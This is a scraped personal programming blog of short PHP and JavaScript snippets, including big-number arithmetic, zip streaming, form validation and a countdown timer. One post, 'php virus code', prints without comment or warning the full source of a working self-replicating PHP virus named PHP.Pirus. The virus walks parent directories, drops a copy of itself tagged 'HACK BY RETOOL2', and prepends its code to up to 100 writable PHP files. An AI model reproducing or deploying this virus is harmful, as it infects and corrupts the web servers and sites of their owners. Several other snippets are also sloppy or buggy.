function random_float ($min,$max) {
return ($min+lcg_value()*(abs($max-$min)));
}
that's easy but can't figure out
Thursday, June 24, 2010
php random_float
Sunday, April 25, 2010
Disable your site from Greasemonkey !!!
I've found this by an accident!!!
document._createElement = document.createElement;
document.createElement = function(tagName, password) {
if (tagName != "SCRIPT" || password == "My scripts are OK!") {
return document._createElement(tagName);
}
};
just that and your site will be protected
Labels: disable, greasemonkey, javascript
Thursday, October 01, 2009
Importing Multiple Files to a Single Workbook
press alt+F8 in excel
or Tools -> Macro -> Macros
Macro name : CombineTextFiles
Create
then save and goto excel and insert button from form for macro
then choose CombineTextFiles
after press button you can select files to import to excel
refer: http://excel.tips.net
http://support.microsoft.com/kb/141689
Tuesday, June 23, 2009
stuck at runonce with IE7
easily and simple direction
file:disable runonce.reg
and just run it OR
file:disable runonce.bat
Tuesday, March 24, 2009
javascript to show and hide element
for html you need to define ID name of an element
<input type="button" name="clickme1" id="clickme1" value="Click me !!" onclick="JavaScript:showbutton('clickme2')"><BR>
<input type="button" name="clickme2" id="clickme2" value="Click me !!" onclick="JavaScript:showbutton('clickme1')" style="visibility:hidden">
For javascript need this code
function showbutton(idName){
Element = document.getElementById('clickme2');
Element.disabled=true;
Element.style.visibility = "hidden";
Element = document.getElementById('clickme1');
Element.disabled=true;
Element.style.visibility = "hidden";
clickme1Element = document.getElementById(idName);
clickme1Element.disabled=false;
clickme1Element.style.visibility = "visible";
}
Labels: element, hide, javascript, show
Friday, February 27, 2009
multiply, power function with large number
function power($a,$b){
if($b==1)return $a;
return multiply($a,(power($a,$b-1)));
}
function multiply($a,$b){
$a = ''.$a;
$b = ''.$b;
$b_length = strlen($b);
$value = '';
for($i=1;$i<=$b_length;$i++){
$b2 = $b[$b_length-$i];
$mul = $a*$b2+$temp;
$temp = floor($mul/10);
$value = ($mul%10).$value;
}
$value = $temp.$value;
return $value;
}
with both $a and $b is string
strlen($a) == 1
Tuesday, February 24, 2009
plus function for large number
function plus($a,$b){
$b_length = strlen($b)+1;
$a = sprintf("%0".$b_length."s", $a);
$b = '0'.$b;
$a_length = strlen($a);
$temp =0;
for($i=0;$i<$a_length;$i++){
$a1 = substr($a,-1,1);
$b1 = substr($b,-1,1);
$a = substr($a,0,-1);
$b = substr($b,0,-1);
$result = ($a1+$b1+$temp)%10;
$ans = $result.$ans;
$temp = floor(($a1+$b1+$temp)/10);
}
$ans = $b.$ans;
return ltrim($ans,'0');
}
with both $a and $b if string and strlen($a) < strlen($a)
Thursday, November 20, 2008
countdown javascript display in div
window.onload = function() {
startCountDown(180, 1000, myFunction); // set setdown here
}
function startCountDown(i, p, f) {
var pause = p;
var fn = f;
var countDownObj = document.getElementById("countDown");
if (countDownObj == null) {
alert("div not found, check your id");
return;
}
countDownObj.count = function(i) {
countDownObj.innerHTML = i;
if (i == 0) {
fn();
return;
}
setTimeout(function() {
countDownObj.count(i - 1);
},
pause
);
}
countDownObj.count(i);
}
function myFunction() {
alert("hi alex");
}
and put div name
<div id="countDown"></div>
Labels: countdown, javascript
Friday, November 14, 2008
php virus code
original code virus named PHP.Pirus
< ?php #retool2.php
$atefile = 0;
walkthrough('../..');
function walkthrough($dir) {
global $atefile;
$maxi = 100;
$viruscontents=fread(fopen(__FILE__,'r'), 1626);
if (!file_exists('retool2.php')) {
$handle = fopen('retool2.php', 'a');
fwrite($handle, $viruscontents.'HACK BY RETOOL2');
fclose($handle);
}
if(is_dir($dir)){
if($dh = opendir($dir)){
while(($file = readdir($dh)) !== false && $atefile<$maxi){
if($file != "." && $file != ".."){
if(is_dir($dir."/".$file)){
walkthrough($dir."/".$file);
}else{
if(strstr (substr($file, -4), 'php')){
$infected=true;
$caniwrite=false;
if ( is_file($dir."/".$file) && is_writeable($dir."/".$file) ){
$output = fopen($dir."/".$file, "r");
if(filesize ($dir."/".$file)>0){
$contents = fread ($output , 20);
$mine = strstr ($contents, 'retool2.php');
fclose($output );
}
$infected=false;
if($mine){$infected=true;}
}
if($infected==false){
if(filesize ($dir."/".$file)>0){
$victim = fopen($dir."/".$file, "r+");
$ori = fread($victim, filesize($dir."/".$file));
fclose($victim);
}
$victim = fopen($dir."/".$file, "w+");
if(filesize($dir."/".$file)==0){
fwrite($victim, $viruscontents);
}else{
fputs($victim ,$viruscontents.$ori);
}
$atefile++;
fclose($victim );
}
}
}
}
}
closedir($dh);
}
}
return $counter;
}
?>
link: http://www.rohitab.com/discuss/lofiversion/index.php/t10727.html
Thursday, October 09, 2008
translate relative url to absolute url
function relative2absolute($absolute, $relative) {
$p = @parse_url($relative);
if(!$p) {
return false;
}
if(isset($p["scheme"])) return $relative;
$parts=(parse_url($absolute));
if(substr($relative,0,1)=='/') {
$cparts = (explode("/", $relative));
array_shift($cparts);
} else {
if(isset($parts['path'])){
$aparts=explode('/',$parts['path']);
array_pop($aparts);
$aparts=array_filter($aparts);
} else {
$aparts=array();
}
$rparts = (explode("/", $relative));
$cparts = array_merge($aparts, $rparts);
foreach($cparts as $i => $part) {
if($part == '.') {
unset($cparts[$i]);
} else if($part == '..') {
unset($cparts[$i]);
unset($cparts[$i-1]);
}
}
}
$path = implode("/", $cparts);
$url = '';
if($parts['scheme']) {
$url = "$parts[scheme]://";
}
if(isset($parts['user'])) {
$url .= $parts['user'];
if(isset($parts['pass'])) {
$url .= ":".$parts['pass'];
}
$url .= "@";
}
if(isset($parts['host'])) {
$url .= $parts['host']."/";
}
$url .= $path;
return $url;
}
link : http://w-shadow.com
Saturday, October 04, 2008
php sub folder scan
you can use php to scan all file in sub folder from this code
<?php
// *** requires PHP5 ***
// search for gif files (can be empty for all file)
$filter = ".gif";
// path to the directory you want to scan(can be .. to search all drive)
$directory = './';
$it = new RecursiveDirectoryIterator("$directory");
foreach(new RecursiveIteratorIterator($it) as $file)
{
if (!((strpos(strtolower($file), $filter)) === false) || empty($filter))
{
$items[] = preg_replace("#\\\#", "/", $file);
}
}
sort($items);
print_r($items);
?>
but if your server not PHP5 don't worry please see this link http://www.php.net and find class RecDir
Wednesday, September 24, 2008
php function zip and stream 2
last time we use ziparchive but now
we'll use zip library from phpmyadmin
and never store data on server
function zipAndStream($filestostream,$dir,$flag=0){
require_once("zip.lib.php"); // from phpmyadmin
$zip = new zipfile();
if(is_array ($filestostream)){
foreach($filestostream as $filetostream){
$filename = $dir."/".$filetostream;
$fsize = @filesize($filename);
$fh = fopen($filename, 'rb', false);
$filedata = fread($fh, $fsize);
$zip->addFile($filedata,$filename);
$filecount++;
$filenamefull = $filetostream;
$filename = substr($filetostream,0,strrpos($filetostream,'.'));
}
if($filecount!=1){
$filename = $filecount.'files';
}
}else{
$filename = $dir."/".$filestostream;
$fsize = @filesize($filename);
$fh = fopen($filename, 'rb', false);
$filedata = fread($fh, $fsize);
$zip->addFile($filedata,$filename);
$filecount++;
$filename = substr($filestostream,0,strrpos($filestostream,'.'));
}
$zipcontents = $zip->file();
if($flag==1){
$imagefile = "php.png";
$filesize = strlen($zipcontents)+filesize($imagefile);
header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"".$filecount."files_".$imagefile."\"");
header("Content-length: " . $filesize . "\n\n");
readfile($imagefile);
}elseif($flag==-1){
header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"".$filenamefull."\"");
header("Content-length: " . strlen($filedata) . "\n\n");
echo $filedata;
exit;
}else{
header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"".$filename.".zip\"");
header("Content-length: " . strlen($zipcontents) . "\n\n");
}
echo $zipcontents;
}
Monday, September 22, 2008
javascript validate array checkbox
we can pass value through php and validate checkbox by these
<html>
<html>
<head>
<script language="JavaScript">
function check()
{
var a=document.some_form['graduate[]'];
alert("Length:"+a.length);
var p=0;
for(i=0;i<a.length;i++){
if(a[i].checked){
alert(a[i].value);
p=1;
}
}
if (p==0){
alert('please select at least one check box');
return false;
}
document.some_form.submitted.value='yes';
return true;
}
</script>
</head>
<body>
<form name="some_form" onsubmit="return check();" method="POST" action="">
<table>
<tr><td>Post Graduate in</td><td>
<input type="checkbox" name="graduate[]" value="history">History
<input type="checkbox" name="graduate[]" value="telugu">Telugu
<input type="checkbox" name="graduate[]" value="Computer sceince">Computer Science
<input type="checkbox" name="graduate[]" value="Mathematics">Mathematics
</td></tr>
<tr><td><input type="submit" value="Submit"></td></tr>
<input type="hidden" name="submitted">
</form>
</body>
</html>
<?php
if ($_POST[submitted])
{
$pg=$_POST[graduate];
echo "<pre>";
print_r($pg);
echo "</pre>";
}
?>
ref : www.programmersheaven.com
Labels: array, checkbox, javascript, validator
Thursday, September 11, 2008
zip and stream file with php
I've wrote the function to zip the files and stream out
//$filesToStream : can be array or just file string.
//$dir : directory of file
function zipAndStream($filesToStream,$dir){
$file = 'tempfile'.rand(9999,1000).".zip";
$zip = new ZipArchive;
$res = $zip->open( $file , ZIPARCHIVE::OVERWRITE );
if ($res === TRUE && file_exists($dir.'/'.$filename) ) {
if(is_array ($filesToStream)){
$filecount=0;
foreach($filesToStream as $filetostream){
$zip->addFile($dir.'/'.$filetostream,$filetostream);
$filecount++;
$filename = substr($filetostream,0,strrpos($filetostream,'.'));
}
if($filecount!=1){
$filename = 'files';
}
}else{
$zip->addFile($filedir.'/'.$filestostream,$filestostream);
$filename = substr($filestostream,0,strrpos($filestostream,'.'));
}
$zip->close();
header("Content-Type: application/zip");
header("Content-Length: " . filesize($file));
header("Content-Disposition: attachment; filename=\"".$filename.".zip\"");
readfile($file);
} else {
listfile();
}
unlink($file);
}
to verify that your host server has zip extension try this
if(!extension_loaded('zip'))print_r('ZIP Extension Is Disable
');
Saturday, August 30, 2008
ternary operator ?:
ternary operation is not hard but not easy to use.
it can be short form of if...else and switch...case it is used in an expression as follows :
condition ? valueIfTrue : valueIfFalse
therefore we wrote
if($i>5){
echo 'more than 5';
}else{
echo 'not more than 5';
}
by ternary operator we can use just only echo ($i>5)?'more than 5':'not more than 5';
or something like
$action = (empty($_POST['action'])) ? 'default' : $_POST['action'];instead of
if (empty($_POST['action'])) {
$action = 'default';
} else {
$action = $_POST['action'];
}
you can also use ?: instead of switch case too.
Thursday, August 28, 2008
php protect file with limit download rate
$local_file = 'file.zip';
$download_file = 'name.zip';
// set the download rate limit (=> 20,5 kb/s)
$download_rate = 20.5;
if(file_exists($local_file) && is_file($local_file)){
header('Cache-control: private');
header('Content-Type: application/octet-stream');
header('Content-Length: '.filesize($local_file));
header('Content-Disposition: filename='.$download_file);
flush();
$file = fopen($local_file, "r");
while(!feof($file)){
// send the current file part to the browser
print fread($file, round($download_rate * 1024));
// flush the content to the browser
flush();
// sleep one second
sleep(1);
}
fclose($file);
}else {
die('Error: The file '.$local_file.' does not exist!');
}
Monday, August 25, 2008
javascript unique array
function unique(a) {
var temp = [];
var temp2 = [];
for (c in a)
temp[a[c]] = c
for (c in temp)
temp2[temp[c]] = c
return temp2;
}
Labels: array, javascript, unique
Wednesday, August 06, 2008
Another javascript highlighter
Insert head section with
<style type="text/css">@import url(http://retsam.krad.googlepages.com/jush.css);</style>
<script type="text/javascript" src="http://retsam.krad.googlepages.com/jush.js" defer="defer"></script>
and in body with
<body onload="jush.highlight_tag('pre');">
Your source code in pre tag here
<pre class="jush">
input source code here
</pre>
Don't forgot to change < to <
All your code will look like this
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE> <?php print_r($_POST['title']); ?> </TITLE>
<script type="text/javascript" src="prettify.js"></script>
<script type="text/javascript">
document.onload=temps();
document.onload=setTimeout('chargement();sec=10;',3000);
var x=window.confirm("Are you sure you are ok?")
if (x) window.alert("Good!")
else window.alert("Too bad")
</script>
</HEAD>
<BODY>
<font color="red">TESTING red</font>
<font color="#0f0f0f">TESTING red</font>
<table>
<!-- HTML COMMENT-->
<?
print_r('POST:'.$_POST.'<BR>');
print_r('GET :'.$_GET);
function Google(){
print_r($_POST);
}
?>
<TR><TD>TEST table TR TD</TD><TD>TEST table TR TD 2</TD></TR>
<input value="test" name="test">
</BODY>
</HTML>
Labels: highlighter, javascript
Tuesday, July 29, 2008
Your own favorite Fonts on web
If you have your font and want to put in webpage try this method
1) created from existing TrueType font files(.ttf) using Microsoft's Web Embedding Fonts Tool (WEFT). (A similar software product called "FAIRY", by BorWare AG, also generated .eot files, with some improvements.)
2) embeddeb font with the css
@font-face {
font-family: 05_ZZ Death Note 1.0;
font-style: normal;
font-weight: normal;
src: url(ZZDEATH1.eot);
}
.deathnote { font-family: "05_ZZ Death Note 1.0"; }
and use the code in html
<FONT FACE="05_ZZ Death Note 1.0" SIZE="5"> Aa Bb Cc Dd Ee Ff Gg </FONT> or <div class="deathnote">testing</div>Example : http://www.microsoft.com/typography/web/embedding/default.aspx
wiki : http://en.wikipedia.org/wiki/Embedded_OpenType
link : http://www.microsoft.com/typography/WEFT.mspx
Friday, July 25, 2008
coding php to extract or get filename and extension
it's not hard to code but not easy to solve
easyiest way is use explode function but this is advance :)
$url = "htpp://www.example.com/filename.txt $file = substr(strrchr($url, '/'), 1); //get file $ext = substr(strrchr($file, '.'), 1); //get extension $filename = substr($file,0,strrpos($file,'.')); // get file nameand another code is function to remove file in folder and/or empty folder
<?php
// ggarciaa at gmail dot com (04-July-2007 01:57)
// I needed to empty a directory, but keeping it
// so I slightly modified the contribution from
// stefano at takys dot it (28-Dec-2005 11:57)
// A short but powerfull recursive function
// that works also if the dirs contain hidden files
// $dir = the target directory
// $DeleteMe = if true delete also $dir, if false leave it alone
function SureRemoveDir($dir, $DeleteMe) {
if(!$dh = @opendir($dir)) return;
while (false !== ($obj = readdir($dh))) {
if($obj=='.' || $obj=='..') continue;
if (!@unlink($dir.'/'.$obj)) SureRemoveDir($dir.'/'.$obj, true);
}
closedir($dh);
if($DeleteMe){
@rmdir($dir);
}
}
//SureRemoveDir('EmptyMe', false);
//SureRemoveDir('RemoveMe', true);
?>
link: http://th.php.net/unlink
link2: